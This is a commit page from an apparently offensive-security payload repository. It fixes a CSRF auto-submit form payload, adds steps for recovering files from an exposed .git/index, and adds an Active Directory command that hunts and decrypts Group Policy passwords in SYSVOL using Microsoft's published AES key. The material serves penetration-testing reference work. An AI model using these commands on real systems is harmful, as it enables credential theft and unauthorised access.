.git/index file parsing + fix CSRF payload typo

swisskyrepo · Feb 7, 2019 · 1c37517 · 1c37517
1 parent 8ff2aa8
commit 1c37517
Show file tree

Hide file tree

Showing 3 changed files with 25 additions and 3 deletions.
diff --git a/CSRF injection/README.md b/CSRF injection/README.md
@@ -40,7 +40,7 @@ When you are logged in to a certain site, you typically have a session. The iden
 ### HTML POST (AutoSubmit – No User Interaction)
 
 ```html
-<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&>
+<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
  <input name="username" type="hidden" value="CSRFd" />
  <input type="submit" value="Submit Request" />
 </form>

diff --git a/Insecure source code management/README.md b/Insecure source code management/README.md
@@ -72,6 +72,28 @@ Check for the following files, if they exist you can extract the .git folder.
     git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
     ```
 
+### Recovering the content of .git/index
+
+Use the git index file parser, using python3 https://pypi.python.org/pypi/gin
+
+```powershell
+pip3 install gin
+gin ~/git-repo/.git/index
+```
+
+Recover name and sha1 hash for each files listed in the index, allowing us to re-use the previous method on the file.
+
+```powershell
+$ gin .git/index | egrep -e "name|sha1" 
+name = AWS Amazon Bucket S3/README.md
+sha1 = 862a3e58d138d6809405aa062249487bee074b98
+
+name = CRLF injection/README.md
+sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
+```
+
+
+
 ### Automatic way : diggit.py
 
 ```powershell

diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md
@@ -129,13 +129,13 @@ smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
 
 :triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
 
-Find password in SYSVOL
+Find password in SYSVOL (MS14-025)
 
 ```powershell
 findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
 ```
 
-Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280))
+Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)
 
 ```bash
 echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000